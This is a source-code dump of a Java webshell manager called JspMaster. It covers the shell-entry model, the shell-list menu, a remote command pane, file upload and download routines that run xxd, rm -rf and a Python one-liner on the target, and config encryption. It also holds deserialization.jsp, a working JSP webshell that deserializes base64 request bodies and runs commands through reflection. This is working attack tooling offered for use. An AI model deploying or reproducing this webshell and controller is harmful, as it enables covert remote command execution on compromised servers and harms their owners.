private String remarks = ""; 14 | private Map headers = new HashMap<>(); 15 | private int isEncrypt = 1; 16 | private String encryptKey = ""; 17 | private String iv = ""; 18 | 19 | public ShellEntry(){} 20 | 21 | public ShellEntry(int id, String url, String password, String type, String createTime, String lastvisitTime, 22 | String remarks, Map headers, int isEncrypt, String encryptKey, String iv) { 23 | this.id = id; 24 | this.url = url; 25 | this.password = password; 26 | this.type = type; 27 | this.createTime = createTime; 28 | this.lastvisitTime = lastvisitTime; 29 | this.remarks = remarks; 30 | this.headers = headers; 31 | this.isEncrypt = isEncrypt; 32 | this.encryptKey = encryptKey; 33 | this.iv = iv; 34 | } 35 | 36 | public int getId() { 37 | return id; 38 | } 39 | 40 | public void setId(int id) { 41 | this.id = id; 42 | } 43 | 44 | public String getUrl() { 45 | return url; 46 | } 47 | 48 | public void setUrl(String url) { 49 | this.url = url; 50 | } 51 | 52 | public String getPassword() { 53 | return password; 54 | } 55 | 56 | public void setPassword(String password) { 57 | this.password = password; 58 | } 59 | 60 | public String getType() { 61 | return type; 62 | } 63 | 64 | public void setType(String type) { 65 | this.type = type; 66 | } 67 | 68 | public String getCreateTime() { 69 | return createTime; 70 | } 71 | 72 | public void setCreateTime(String createTime) { 73 | this.createTime = createTime; 74 | } 75 | 76 | public String getLastvisitTime() { 77 | return lastvisitTime; 78 | } 79 | 80 | public void setLastvisitTime(String lastvisitTime) { 81 | this.lastvisitTime = lastvisitTime; 82 | } 83 | 84 | public String getRemarks() { 85 | return remarks; 86 | } 87 | 88 | public void setRemarks(String remarks) { 89 | this.remarks = remarks; 90 | } 91 | 92 | public Map getHeaders() { 93 | return headers; 94 | } 95 | 96 | public void setHeaders(Map headers) { 97 | this.headers = headers; 98 | } 99 | 100 | public int getIsEncrypt() { 101 | return isEncrypt; 102 | } 103 | 104 | public void setIsEncrypt(int isEncrypt) { 105 | this.isEncrypt = isEncrypt; 106 | } 107 | 108 | public String getEncryptKey() { 109 | return encryptKey; 110 | } 111 | 112 | public void setEncryptKey(String encryptKey) { 113 | this.encryptKey = encryptKey; 114 | } 115 | 116 | public String getIV() { 117 | return iv; 118 | } 119 | 120 | public void setIV(String iv) { 121 | this.iv = iv; 122 | } 123 | 124 | @Override 125 | public String toString() { 126 | return "ShellEntry{" + 127 | "id=" + id + 128 | ", url='" + url + '\'' + 129 | ", password='" + password + '\'' + 130 | ", type='" + type + '\'' + 131 | ", createTime='" + createTime + '\'' + 132 | ", lastvisitTime='" + lastvisitTime + '\'' + 133 | ", remarks='" + remarks + '\'' + 134 | ", headers=" + headers + 135 | ", isEncrypt=" + isEncrypt + 136 | ", encryptKey='" + encryptKey + '\'' + 137 | ", iv='" + iv + '\'' + 138 | '}'; 139 | } 140 | } 141 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/task/LinuxPlatformDownloadThread.java: -------------------------------------------------------------------------------- 1 | package com.feihong.task; 2 | 3 | import com.feihong.executor.CommandExecutorFactory; 4 | import java.io.IOException; 5 | import java.io.RandomAccessFile; 6 | import java.util.ArrayList; 7 | import java.util.Iterator; 8 | import java.util.List; 9 | import java.util.Objects; 10 | 11 | public class LinuxPlatformDownloadThread implements Runnable{ 12 | private int partNum; 13 | private int blockSize; 14 | private String serverPath; 15 | private int totalSize; 16 | private List threadPool; 17 | private String localPath; 18 | private int retry; 19 | 20 | 21 | public LinuxPlatformDownloadThread(String serverPath, int partNum, int blockSize, String localPath, int totalSize, List threadPool){ 22 | this.serverPath = serverPath; 23 | this.partNum = partNum; 24 | this.blockSize = blockSize; 25 | this.totalSize = totalSize; 26 | this.threadPool = threadPool; 27 | this.localPath = localPath; 28 | } 29 | 30 | @Override 31 | public void run() { 32 | boolean flag = true; 33 | int offset = partNum * blockSize; 34 | 35 | //增加 flag 是为了当线程下载失败时,让其重新尝试再次下载 36 | while(flag) { 37 | String cmd = "xxd -l " + blockSize + " -s +" + offset + " '" + serverPath + "'"; 38 | String content = CommandExecutorFactory.getInstance().exec(cmd).getResponseResult(); 39 | 40 | String[] strs = content.split("\\r\\n|\\r|\\n"); 41 | List list = new ArrayList<>(); 42 | for(String str : strs){ 43 | // 消除空行 44 | if(str.equals("")){ 45 | continue; 46 | } 47 | 48 | //提取中间那段 16 进制字符 49 | str = str.substring(10,49); 50 | String[] strs_inner = str.split("\\s+"); 51 | for(String str_inner : strs_inner){ 52 | if(str_inner.length() == 4){ 53 | int a = Integer.parseInt(str_inner.substring(0,2), 16); 54 | list.add((byte) a); 55 | int b = Integer.parseInt(str_inner.substring(2), 16); 56 | list.add((byte) b); 57 | }else{ 58 | int a = Integer.parseInt(str_inner, 16); 59 | list.add((byte) a); 60 | } 61 | } 62 | } 63 | 64 | // 将 list 转换为 byte[] 65 | // 又循环一次,感觉不太好 66 | int i = 0; 67 | byte[] bytes = new byte[list.size()]; 68 | Iterator iterator = list.iterator(); 69 | while (iterator.hasNext()) { 70 | bytes[i++] = iterator.next(); 71 | } 72 | 73 | try { 74 | RandomAccessFile file = new RandomAccessFile(localPath, "rw"); 75 | file.setLength(totalSize); 76 | file.seek(offset); 77 | file.write(bytes); 78 | file.close(); 79 | flag = false; 80 | } catch (NullPointerException | IOException e) { 81 | //增加跳出机制,防止死循环 82 | retry++; 83 | if(retry >= 5){ 84 | System.out.println("Thread task failed!!!"); 85 | break; 86 | } 87 | 88 | System.out.println("retrying..."); 89 | } 90 | } 91 | 92 | threadPool.remove(this); 93 | } 94 | 95 | @Override 96 | public boolean equals(Object o) { 97 | if (this == o) return true; 98 | if (o == null || getClass() != o.getClass()) return false; 99 | LinuxPlatformDownloadThread that = (LinuxPlatformDownloadThread) o; 100 | return partNum == that.partNum; 101 | } 102 | 103 | @Override 104 | public int hashCode() { 105 | return Objects.hash(partNum, blockSize, serverPath, totalSize, threadPool, localPath); 106 | } 107 | } 108 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ui/ShellOperationMenu.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ui; 2 | 3 | import com.feihong.bean.Entry; 4 | import com.feihong.bean.ShellEntry; 5 | import com.feihong.db.DBUtil; 6 | import javafx.collections.FXCollections; 7 | import javafx.collections.ObservableList; 8 | import javafx.event.ActionEvent; 9 | import javafx.event.Event; 10 | import javafx.event.EventHandler; 11 | import javafx.scene.Scene; 12 | import javafx.scene.control.ContextMenu; 13 | import javafx.scene.control.MenuItem; 14 | import javafx.scene.input.MouseButton; 15 | import javafx.scene.input.MouseEvent; 16 | import javafx.stage.Stage; 17 | import java.util.ArrayList; 18 | import java.util.List; 19 | 20 | public class ShellOperationMenu { 21 | private ShellManagerPane shellManagerPane; 22 | 23 | public ShellOperationMenu(ShellManagerPane shellManagerPane){ 24 | this.shellManagerPane = shellManagerPane; 25 | } 26 | 27 | public ContextMenu getContextMenu() { 28 | ContextMenu contextMenu = new ContextMenu(); 29 | MenuItem viewOperation = new MenuItem("管理"); 30 | MenuItem addOperation = new MenuItem("新增"); 31 | MenuItem editOperation = new MenuItem("编辑"); 32 | MenuItem deleteOperation = new MenuItem("删除"); 33 | MenuItem refreshOperation = new MenuItem("刷新"); 34 | 35 | contextMenu.getItems().addAll(viewOperation, addOperation, editOperation, deleteOperation, refreshOperation); 36 | 37 | viewOperation.setOnAction(event -> { 38 | //触发 tableview 的双击事件,具体逻辑在鼠标点击事件的事件监听器中书写 39 | Event.fireEvent(shellManagerPane.getTableView(), new MouseEvent(MouseEvent.MOUSE_CLICKED, 40 | 0, 0, 0, 0, MouseButton.PRIMARY, 2, 41 | true, true, true, true, true, true, true, true, true, true, null)); 42 | }); 43 | 44 | addOperation.setOnAction(new EventHandler() { 45 | @Override 46 | public void handle(ActionEvent event) { 47 | Stage stage = new Stage(); 48 | stage.setTitle("新增 Shell"); 49 | ShellEntry entry = new ShellEntry(); 50 | stage.setScene(new Scene(new ShellEditUI(entry).getPane(), 600, 540)); 51 | stage.show(); 52 | stage.setOnCloseRequest(event1 -> refreshShellManagerPane()); 53 | } 54 | }); 55 | 56 | editOperation.setOnAction(new EventHandler() { 57 | @Override 58 | public void handle(ActionEvent event) { 59 | Stage stage = new Stage(); 60 | stage.setTitle("编辑 Shell"); 61 | ShellEntry entry = shellManagerPane.getTableView().getSelectionModel().getSelectedItem(); 62 | stage.setScene(new Scene(new ShellEditUI(entry).getPane(), 600,540)); 63 | stage.show(); 64 | stage.setOnCloseRequest(event1 -> refreshShellManagerPane()); 65 | } 66 | }); 67 | 68 | deleteOperation.setOnAction(event -> { 69 | ObservableList entries = shellManagerPane.getTableView().getSelectionModel().getSelectedItems(); 70 | if(entries == null || entries.size() == 0){ 71 | return; 72 | } 73 | 74 | for(ShellEntry entry : entries) { 75 | try { 76 | DBUtil.delete(entry); 77 | } catch (Exception e) { 78 | e.printStackTrace(); 79 | } 80 | } 81 | 82 | refreshShellManagerPane(); 83 | }); 84 | 85 | refreshOperation.setOnAction(event -> refreshShellManagerPane()); 86 | 87 | return contextMenu; 88 | } 89 | 90 | public void refreshShellManagerPane(){ 91 | List list = null; 92 | try { 93 | list = DBUtil.queryAll(); 94 | } catch (Exception e) { 95 | list = new ArrayList<>(); 96 | } 97 | 98 | shellManagerPane.getTableView().setItems(FXCollections.observableArrayList(list)); 99 | } 100 | } -------------------------------------------------------------------------------- /pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 4.0.0 6 | 7 | groupId 8 | JspMaster 9 | 1.0-SNAPSHOT 10 | 11 | 12 | 13 | org.apache.maven.plugins 14 | maven-compiler-plugin 15 | 16 | 8 17 | 8 18 | 19 | 20 | 21 | org.apache.maven.plugins 22 | maven-assembly-plugin 23 | 24 | 25 | package 26 | 27 | single 28 | 29 | 30 | 31 | 32 | 33 | jar-with-dependencies 34 | 35 | 36 | 37 | com.feihong.ui.Start 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | javax 49 | javaee-api 50 | 8.0.1 51 | provided 52 | 53 | 54 | 55 | 56 | org.ow2.asm 57 | asm 58 | 7.2 59 | 60 | 61 | 62 | 63 | com.jfoenix 64 | jfoenix 65 | 9.0.9 66 | 67 | 68 | 69 | org.xerial 70 | sqlite-jdbc 71 | 3.28.0 72 | 73 | 74 | 75 | junit 76 | junit 77 | 4.13.1 78 | test 79 | 80 | 81 | 82 | 83 | org.apache.httpcomponents 84 | httpclient 85 | 4.5.10 86 | 87 | 88 | 89 | commons-io 90 | commons-io 91 | 2.6 92 | 93 | 94 | 95 | 96 | org.apache.commons 97 | commons-collections4 98 | 4.4 99 | 100 | 101 | 102 | 103 | 104 | -------------------------------------------------------------------------------- /shell/流量未加密版本/deserialization.jsp: -------------------------------------------------------------------------------- 1 | <%@ page import="java.lang.reflect.Method" %> 2 | <%@ page import="java.util.*" %> 3 | <%@ page import="java.io.*" %> 4 | <%@ page contentType="text/html;charset=UTF-8" language="java" %> 5 | <%! 6 | public class Gadget implements Serializable { 7 | private static final long serialVersionUID = -1878443566818256475L; 8 | private String name; 9 | private List args; 10 | private HashMap map; 11 | 12 | public String getName() { 13 | return name; 14 | } 15 | 16 | public void setName(String name) { 17 | this.name = name; 18 | } 19 | 20 | public List getArgs() { 21 | return args; 22 | } 23 | 24 | public void setArgs(List args) { 25 | this.args = args; 26 | } 27 | 28 | public HashMap getMap() { 29 | return map; 30 | } 31 | 32 | public void setMap(HashMap map) { 33 | this.map = map; 34 | } 35 | 36 | public String process() throws Exception{ 37 | Class clazz = null; 38 | if(name == null && map == null) { 39 | throw new Exception("Initialized error."); 40 | } 41 | 42 | String methodName = null; 43 | try{ 44 | clazz = Class.forName(name); 45 | Object obj = clazz.getConstructors()[0].newInstance(args); 46 | 47 | Method[] methods = clazz.getMethods(); 48 | for(Method method : methods){ 49 | methodName = method.getName(); 50 | 51 | if(methodName.startsWith("set")){ 52 | String attr = methodName.substring(3); 53 | if(map.get(attr) != null){ 54 | method.invoke(obj, attr); 55 | } 56 | } 57 | } 58 | 59 | List> superClass = new ArrayList(); 60 | 61 | StringBuilder sb = new StringBuilder(); 62 | for(Map.Entry entry : map.entrySet()){ 63 | if(entry.getKey().equals("forceString")){ 64 | String value = entry.getValue(); 65 | 66 | Method invokeMethod = null; 67 | Object target = null; 68 | for(String param : value.split(",")){ 69 | param = param.trim(); 70 | invokeMethod = clazz.getMethod(param); 71 | target = invokeMethod.invoke(obj); 72 | 73 | InputStream in = (InputStream)target.getClass().getSuperclass().getMethod("getInputStream").invoke(target); 74 | sb.append(getString(in)); 75 | } 76 | } 77 | } 78 | return sb.toString(); 79 | 80 | }catch(ClassNotFoundException e){ 81 | throw new Exception("class name not found: " + name); 82 | }catch(NoSuchMethodException e){ 83 | throw new Exception("Method invoke failed: " + methodName); 84 | }catch(Exception e){ 85 | throw new Exception("Unexpected Exception, may be attribute not set properly."); 86 | } 87 | } 88 | 89 | public String getString(InputStream in) throws IOException { 90 | int len = 0; 91 | byte buffer[] = new byte[1024]; 92 | ByteArrayOutputStream baos = new ByteArrayOutputStream(); 93 | 94 | while((len = in.read(buffer)) != -1){ 95 | baos.write(buffer, 0, len); 96 | } 97 | 98 | return baos.toString().trim(); 99 | } 100 | } 101 | %> 102 | <% 103 | BufferedReader br = request.getReader(); 104 | String wholeStr = br.readLine(); 105 | br.close(); 106 | 107 | if(wholeStr != null && !wholeStr.trim().equals("")) { 108 | ByteArrayInputStream bis = new ByteArrayInputStream(Base64.getDecoder().decode(wholeStr)); 109 | ObjectInputStream ois = new ObjectInputStream(bis); 110 | Gadget gadget = (Gadget)ois.readObject(); 111 | response.getWriter().print(gadget.process().trim()); 112 | bis.close(); 113 | ois.close(); 114 | } 115 | %> -------------------------------------------------------------------------------- /src/main/java/com/feihong/ui/ExecuteCMDPane.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ui; 2 | 3 | import com.feihong.executor.CommandExecutor; 4 | import com.feihong.executor.CommandExecutorFactory; 5 | import com.feihong.util.BasicSetting; 6 | import javafx.application.Platform; 7 | import javafx.event.ActionEvent; 8 | import javafx.event.EventHandler; 9 | import javafx.geometry.Insets; 10 | import javafx.geometry.Pos; 11 | import javafx.scene.control.Button; 12 | import javafx.scene.control.TextArea; 13 | import javafx.scene.control.TextField; 14 | import javafx.scene.input.KeyCode; 15 | import javafx.scene.input.KeyEvent; 16 | import javafx.scene.layout.BorderPane; 17 | 18 | public class ExecuteCMDPane { 19 | private CommandExecutor executor; 20 | private boolean connected; 21 | private Button button; 22 | private TextField textField; 23 | 24 | public ExecuteCMDPane(){ 25 | executor = CommandExecutorFactory.getInstance(); 26 | connected = BasicSetting.getInstance().isConnected; 27 | } 28 | 29 | public BorderPane getPane(){ 30 | BorderPane bp = new BorderPane(); 31 | bp.setPadding(new Insets(10, 10, 0, 10)); 32 | 33 | BorderPane innerPane = new BorderPane(); 34 | textField = new TextField(); 35 | textField.setPrefHeight(35); 36 | 37 | button = new Button(); 38 | button.setAlignment(Pos.CENTER); 39 | button.setText("执行"); 40 | button.setPrefWidth(100); 41 | button.setPrefHeight(35); 42 | 43 | if(connected){ 44 | button.setDisable(false); 45 | textField.setDisable(false); 46 | }else{ 47 | button.setDisable(true); 48 | textField.setDisable(true); 49 | } 50 | 51 | innerPane.setCenter(textField); 52 | innerPane.setMargin(textField,new Insets(0,10,0,0)); 53 | innerPane.setRight(button); 54 | 55 | TextArea textArea = new TextArea(); 56 | textArea.setEditable(false); 57 | 58 | bp.setCenter(textArea); 59 | bp.setMargin(textArea,new Insets(10,0,0,0)); 60 | bp.setTop(innerPane); 61 | 62 | textField.setOnKeyPressed(new EventHandler() { 63 | @Override 64 | public void handle(KeyEvent event) { 65 | if (event.getCode().equals(KeyCode.ENTER)) { 66 | button.fire(); 67 | }else{ 68 | //这里可以在类中加上一个 flag 标志位,让这段代码每次只需执行一次,而不是每次按键都会触发执行,但是那样会增加代码逻辑的复杂度,这里又不影响性能,所以完全没必要 69 | textArea.setPromptText(""); 70 | textArea.clear(); 71 | } 72 | } 73 | }); 74 | 75 | //如果这里使用 setOnMouseevent,上面的 button.fire() 就不能生效了,得修改成 Event.fireEvent() 76 | //所以这里为了方便,使用了 setOnAction 77 | button.setOnAction(new EventHandler() { 78 | @Override 79 | public void handle(ActionEvent event) { 80 | button.setDisable(true); 81 | textField.setDisable(true); 82 | textArea.setText(""); 83 | 84 | String command = textField.getText().trim(); 85 | if(!command.equals("")){ 86 | 87 | //必须得这样,不然不行,没效果 88 | new Thread(new Runnable() { 89 | @Override 90 | public void run() { 91 | String executeResult = executor.exec(command).getResponseResult(); 92 | //这个或条件是为了解决执行在 Windows 下执行 ifconfig 时回显不正常的 bug 93 | //在 Windows 下通过 Runtime.getRuntime.exec() 执行,在本地得到的结果为 94 | //"java.io.IOException: Cannot run program "ifconfig": CreateProcess error=2, 系统找不到指定的文件。" 95 | //但是这个结果如果通过 response.getWriter.print 进行回显的时候,就会变成 "  " 96 | if(executeResult.trim().equals("") || executeResult.trim().equalsIgnoreCase("  ")){ 97 | textArea.setPromptText("执行完毕,未获取到执行结果,请确认命令输入是否正确"); 98 | }else{ 99 | textArea.setText(executeResult); 100 | } 101 | 102 | button.setDisable(false); 103 | textField.setDisable(false); 104 | } 105 | }).start(); 106 | 107 | } 108 | } 109 | }); 110 | 111 | return bp; 112 | } 113 | } 114 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/task/LinuxPlatformUploadTask.java: -------------------------------------------------------------------------------- 1 | package com.feihong.task; 2 | 3 | import com.feihong.bean.CommandExecutionResult; 4 | import com.feihong.executor.CommandExecutorFactory; 5 | import javafx.concurrent.Task; 6 | import java.io.ByteArrayOutputStream; 7 | import java.io.FileInputStream; 8 | import java.util.ArrayList; 9 | import java.util.Base64; 10 | import java.util.Iterator; 11 | import java.util.List; 12 | 13 | public class LinuxPlatformUploadTask extends Task { 14 | private String serverPath; 15 | private String localPath; 16 | private int threadNum; 17 | private int blocksize; 18 | 19 | public LinuxPlatformUploadTask(String serverPath, String localPath, int threadNum, int blocksize){ 20 | this.serverPath = serverPath; 21 | this.localPath = localPath; 22 | this.threadNum = threadNum; 23 | this.blocksize = blocksize; 24 | } 25 | 26 | @Override 27 | protected Boolean call() throws Exception { 28 | long time1 = System.currentTimeMillis(); 29 | 30 | String cmd = "rm -rf '" + serverPath + "'"; 31 | CommandExecutorFactory.getInstance().exec(cmd); 32 | 33 | FileInputStream in = new FileInputStream(localPath); 34 | ByteArrayOutputStream baos = new ByteArrayOutputStream(); 35 | byte[] buffer = new byte[1024]; 36 | int len = 0; 37 | while((len = in.read(buffer)) != -1) { 38 | baos.write(buffer, 0, len); 39 | } 40 | in.close(); 41 | 42 | byte[] bytes = Base64.getDecoder().decode(baos.toByteArray()); 43 | baos.close(); 44 | StringBuffer sb = new StringBuffer(new String(bytes)); 45 | int length = sb.length(); 46 | System.out.println("文件大小:" + length); 47 | 48 | int totalPart = (int) Math.ceil((double) length / blocksize); 49 | System.out.println("Total part: " + totalPart); 50 | 51 | List list = new ArrayList<>(); 52 | for(int i =0;i < totalPart; i++){ 53 | list.add(i); 54 | } 55 | 56 | List threadPool = new ArrayList<>(); 57 | Iterator it = list.iterator(); 58 | List runThreads = new ArrayList<>(); 59 | int count = 0; 60 | while( !isCancelled() && it.hasNext()){ 61 | if(threadPool.size() < threadNum){ 62 | int partNum = it.next(); 63 | Runnable runnable = new LinuxPlatformUploadThread(serverPath, partNum, blocksize, sb, length, threadPool, time1 + ""); 64 | threadPool.add(runnable); 65 | Thread t = new Thread(runnable); 66 | t.start(); 67 | runThreads.add(t); 68 | updateProgress(++count, totalPart+1); 69 | } 70 | } 71 | 72 | if(isCancelled()){ 73 | //删除文件操作必须等所有线程结束,否则会出现删除了又出现的情况 74 | for(Thread t : runThreads) 75 | try{t.join();}catch(Throwable e){} 76 | 77 | cmd = "rm -rf /tmp/tmp" + time1 + "*"; 78 | CommandExecutorFactory.getInstance().exec(cmd); 79 | 80 | return true; 81 | } 82 | 83 | for(Thread t : runThreads) 84 | try{t.join();}catch(Throwable e){} 85 | 86 | 87 | cmd = "python -c \"import base64;\n" + 88 | "import os;\n" + 89 | "fout=open('/tmp/tmp" + time1 + "xyz','ab+');\n" + 90 | "list = []\n" + 91 | "for file in os.listdir(r'/tmp'):\n" + 92 | " if file.startswith('tmp" + time1 + "-'):\n" + 93 | " list.append(file)\n" + 94 | "list.sort(key=lambda x:int(x.split('-')[1]))\n" + 95 | "for file in list:\n" + 96 | " fin = open('/tmp/'+file, 'r');\n" + 97 | " for line in fin.readlines(): \n" + 98 | " fout.write(line.strip());\n" + 99 | " fin.close();\n" + 100 | "fout.close();\n" + 101 | "fin2 = open(r'/tmp/tmp" + time1 + "xyz','r');\n" + 102 | "fout2 = open(r'" + serverPath + "','wb');\n" + 103 | "base64.decode(fin2,fout2);\n" + 104 | "fin2.close();\n" + 105 | "fout2.close();\""; 106 | CommandExecutionResult res = CommandExecutorFactory.getInstance().exec(cmd); 107 | cmd = "rm -rf /tmp/tmp" + time1 + "*"; 108 | CommandExecutorFactory.getInstance().exec(cmd); 109 | 110 | updateProgress(1.0,1.0); 111 | System.out.println("上传完毕"); 112 | 113 | long time2 = System.currentTimeMillis(); 114 | System.out.println("耗时:" + (time2 - time1)/1000.0 + "s"); 115 | return true; 116 | } 117 | 118 | } 119 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/ui/LoginUI.java: -------------------------------------------------------------------------------- 1 | package com.feihong.ui; 2 | 3 | import com.feihong.task.CheckLoginPassword; 4 | import com.feihong.util.BasicSetting; 5 | import com.feihong.util.EncryptUtil; 6 | import com.feihong.util.PasswordUtil; 7 | import javafx.beans.value.ChangeListener; 8 | import javafx.beans.value.ObservableValue; 9 | import javafx.event.ActionEvent; 10 | import javafx.event.EventHandler; 11 | import javafx.geometry.Insets; 12 | import javafx.geometry.Pos; 13 | import javafx.scene.Scene; 14 | import javafx.scene.control.Button; 15 | import javafx.scene.control.Label; 16 | import javafx.scene.control.PasswordField; 17 | import javafx.scene.input.KeyCode; 18 | import javafx.scene.input.MouseEvent; 19 | import javafx.scene.layout.BorderPane; 20 | import javafx.scene.layout.HBox; 21 | import javafx.scene.layout.VBox; 22 | import javafx.stage.Stage; 23 | import javafx.stage.WindowEvent; 24 | 25 | import java.io.File; 26 | 27 | public class LoginUI { 28 | 29 | public static VBox getPane(){ 30 | VBox vbox = new VBox(); 31 | 32 | HBox hbox1 = new HBox(); 33 | Label label = new Label("密码"); 34 | PasswordField passwordField = new PasswordField(); 35 | hbox1.getChildren().addAll(label, passwordField); 36 | hbox1.setMargin(label, new Insets(10,10,10,0)); 37 | hbox1.setMargin(passwordField, new Insets(10,0,10,0)); 38 | hbox1.setAlignment(Pos.CENTER); 39 | 40 | HBox hbox2 = new HBox(); 41 | Button submit = new Button("登入"); 42 | submit.setPrefWidth(100); 43 | Button cancel = new Button("取消"); 44 | cancel.setPrefWidth(100); 45 | hbox2.getChildren().addAll(submit, cancel); 46 | hbox2.setMargin(submit, new Insets(10,10,10,0)); 47 | hbox2.setMargin(cancel, new Insets(10,0,10,0)); 48 | hbox2.setAlignment(Pos.CENTER); 49 | 50 | vbox.getChildren().addAll(hbox1,hbox2); 51 | vbox.setAlignment(Pos.CENTER); 52 | 53 | passwordField.setOnKeyPressed(event -> { 54 | if (event.getCode().equals(KeyCode.ENTER)) { 55 | submit.fire(); 56 | } 57 | }); 58 | 59 | submit.setOnAction(new EventHandler() { 60 | @Override 61 | public void handle(ActionEvent event) { 62 | //参考:https://blog.csdn.net/loongshawn/article/details/52996382 63 | PasswordUtil.password = passwordField.getText(); 64 | Stage currentStage = (Stage)vbox.getScene().getWindow(); 65 | 66 | CheckLoginPassword task = new CheckLoginPassword(); 67 | task.valueProperty().addListener(new ChangeListener() { 68 | @Override 69 | public void changed(ObservableValue observable, Integer oldValue, 70 | Integer newValue) { 71 | if(task.getStatus() == -1){ 72 | //登录密码输入错误,删除错误的 data.db 73 | File file = new File(BasicSetting.getInstance().dbFile); 74 | if(file.exists()){ 75 | file.delete(); 76 | } 77 | 78 | PromptMessageUI.getAlert("密码错误","您输入的密码不正确!"); 79 | currentStage.close(); 80 | }else if(task.getStatus() == 1){ 81 | Stage newStage = new Stage(); 82 | BorderPane borderPane = new ShellManagerPane().getPane(); 83 | newStage.setTitle("JspMaster v1.01 Written by 飞鸿"); 84 | newStage.setScene(new Scene(borderPane, 1150, 500)); 85 | currentStage.close(); 86 | newStage.show(); 87 | 88 | //关闭时加密 sqlite 数据库文件,删除解密的临时文件, 删除密码 89 | newStage.setOnCloseRequest(new EventHandler() { 90 | @Override 91 | public void handle(WindowEvent event) { 92 | EncryptUtil.encryptFile(BasicSetting.getInstance().dbFile, PasswordUtil.password); 93 | PasswordUtil.password = ""; 94 | } 95 | }); 96 | } 97 | } 98 | }); 99 | 100 | 101 | PenddingUI penddingUI = new PenddingUI(task, currentStage); 102 | penddingUI.activateProgressBar(); 103 | } 104 | }); 105 | 106 | cancel.setOnMouseClicked(new EventHandler() { 107 | @Override 108 | public void handle(MouseEvent event) { 109 | Stage currentStage = (Stage)vbox.getScene().getWindow(); 110 | currentStage.close(); 111 | } 112 | }); 113 | 114 | return vbox; 115 | } 116 | } 117 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/util/ConfigUtil.java: -------------------------------------------------------------------------------- 1 | package com.feihong.util; 2 | 3 | import java.io.FileInputStream; 4 | import java.io.FileOutputStream; 5 | import java.io.IOException; 6 | import java.util.Properties; 7 | 8 | public class ConfigUtil { 9 | public static boolean isInitialized(){ 10 | boolean result = false; 11 | try { 12 | Properties properties = new Properties(); 13 | // properties.load(ClassLoader.getSystemResourceAsStream("config/config.properties")); 14 | String path = System.getProperty("user.dir") + "/config/config.properties"; 15 | properties.load(new FileInputStream(path)); 16 | String key = properties.getProperty("communicationKey"); 17 | if( key != null && !key.trim().equals("")){ 18 | return InputValidatorUtil.isValidEncryptKey(key); 19 | } 20 | } catch (IOException e) { 21 | e.printStackTrace(); 22 | } 23 | 24 | return result; 25 | } 26 | 27 | public static String getCommunicationKey(){ 28 | try { 29 | Properties properties = new Properties(); 30 | // properties.load(ClassLoader.getSystemResourceAsStream("config/config.properties")); 31 | String path = System.getProperty("user.dir") + "/config/config.properties"; 32 | properties.load(new FileInputStream(path)); 33 | return properties.getProperty("communicationKey"); 34 | } catch (IOException e) { 35 | e.printStackTrace(); 36 | } 37 | 38 | return ""; 39 | } 40 | 41 | public static boolean isEncrypt(){ 42 | boolean result = false; 43 | try { 44 | Properties properties = new Properties(); 45 | // properties.load(ClassLoader.getSystemResourceAsStream("config/config.properties")); 46 | String path = System.getProperty("user.dir") + "/config/config.properties"; 47 | properties.load(new FileInputStream(path)); 48 | String key = properties.getProperty("encrypt"); 49 | if( key != null && !key.trim().equals("")){ 50 | return key.equalsIgnoreCase("true"); 51 | } 52 | } catch (IOException e) { 53 | e.printStackTrace(); 54 | } 55 | 56 | return result; 57 | } 58 | 59 | public static void setEncrypt(boolean bool){ 60 | try { 61 | Properties properties = new Properties(); 62 | // properties.load(ClassLoader.getSystemResourceAsStream("config/config.properties")); 63 | String path = System.getProperty("user.dir") + "/config/config.properties"; 64 | properties.load(new FileInputStream(path)); 65 | if(bool){ 66 | properties.setProperty("encrypt","true"); 67 | }else{ 68 | properties.setProperty("encrypt","false"); 69 | } 70 | // FileOutputStream fous = new FileOutputStream(ConfigUtil.class.getResource("/").getPath() + "config/config.properties"); 71 | FileOutputStream fous = new FileOutputStream(path); 72 | properties.store(fous, ""); 73 | } catch (IOException e) { 74 | e.printStackTrace(); 75 | } 76 | } 77 | 78 | public static void setCommnunicationKey(String key){ 79 | try { 80 | Properties properties = new Properties(); 81 | // properties.load(ClassLoader.getSystemResourceAsStream("config/config.properties")); 82 | String path = System.getProperty("user.dir") + "/config/config.properties"; 83 | properties.load(new FileInputStream(path)); 84 | properties.setProperty("communicationKey", key); 85 | // FileOutputStream fous = new FileOutputStream(ConfigUtil.class.getResource("/").getPath() + "config/config.properties"); 86 | FileOutputStream fous = new FileOutputStream(path); 87 | properties.store(fous, ""); 88 | } catch (IOException e) { 89 | e.printStackTrace(); 90 | } 91 | } 92 | 93 | 94 | public static String getIV(){ 95 | try { 96 | Properties properties = new Properties(); 97 | // properties.load(ClassLoader.getSystemResourceAsStream("config/config.properties")); 98 | String path = System.getProperty("user.dir") + "/config/config.properties"; 99 | properties.load(new FileInputStream(path)); 100 | return properties.getProperty("IV"); 101 | } catch (IOException e) { 102 | e.printStackTrace(); 103 | } 104 | 105 | return ""; 106 | } 107 | 108 | public static void setIV(String iv){ 109 | try { 110 | Properties properties = new Properties(); 111 | // properties.load(ClassLoader.getSystemResourceAsStream("config/config.properties")); 112 | String path = System.getProperty("user.dir") + "/config/config.properties"; 113 | properties.load(new FileInputStream(path)); 114 | properties.setProperty("IV", iv); 115 | // FileOutputStream fous = new FileOutputStream(ConfigUtil.class.getResource("/").getPath() + "config/config.properties"); 116 | FileOutputStream fous = new FileOutputStream(path); 117 | properties.store(fous, ""); 118 | } catch (IOException e) { 119 | e.printStackTrace(); 120 | } 121 | } 122 | } 123 | -------------------------------------------------------------------------------- /src/main/java/com/feihong/util/EncryptUtil.java: -------------------------------------------------------------------------------- 1 | package com.feihong.util; 2 | 3 | import javax.crypto.Cipher; 4 | import javax.crypto.CipherInputStream; 5 | import javax.crypto.CipherOutputStream; 6 | import javax.crypto.SecretKey; 7 | import javax.crypto.spec.IvParameterSpec; 8 | import javax.crypto.spec.SecretKeySpec; 9 | import java.io.*; 10 | import java.security.MessageDigest; 11 | import java.security.spec.AlgorithmParameterSpec; 12 | import java.util.Base64; 13 | 14 | 15 | public class EncryptUtil { 16 | public static String encrypt(final String plaintext, byte[] encryptKey, byte[] ivs) { 17 | try { 18 | // new 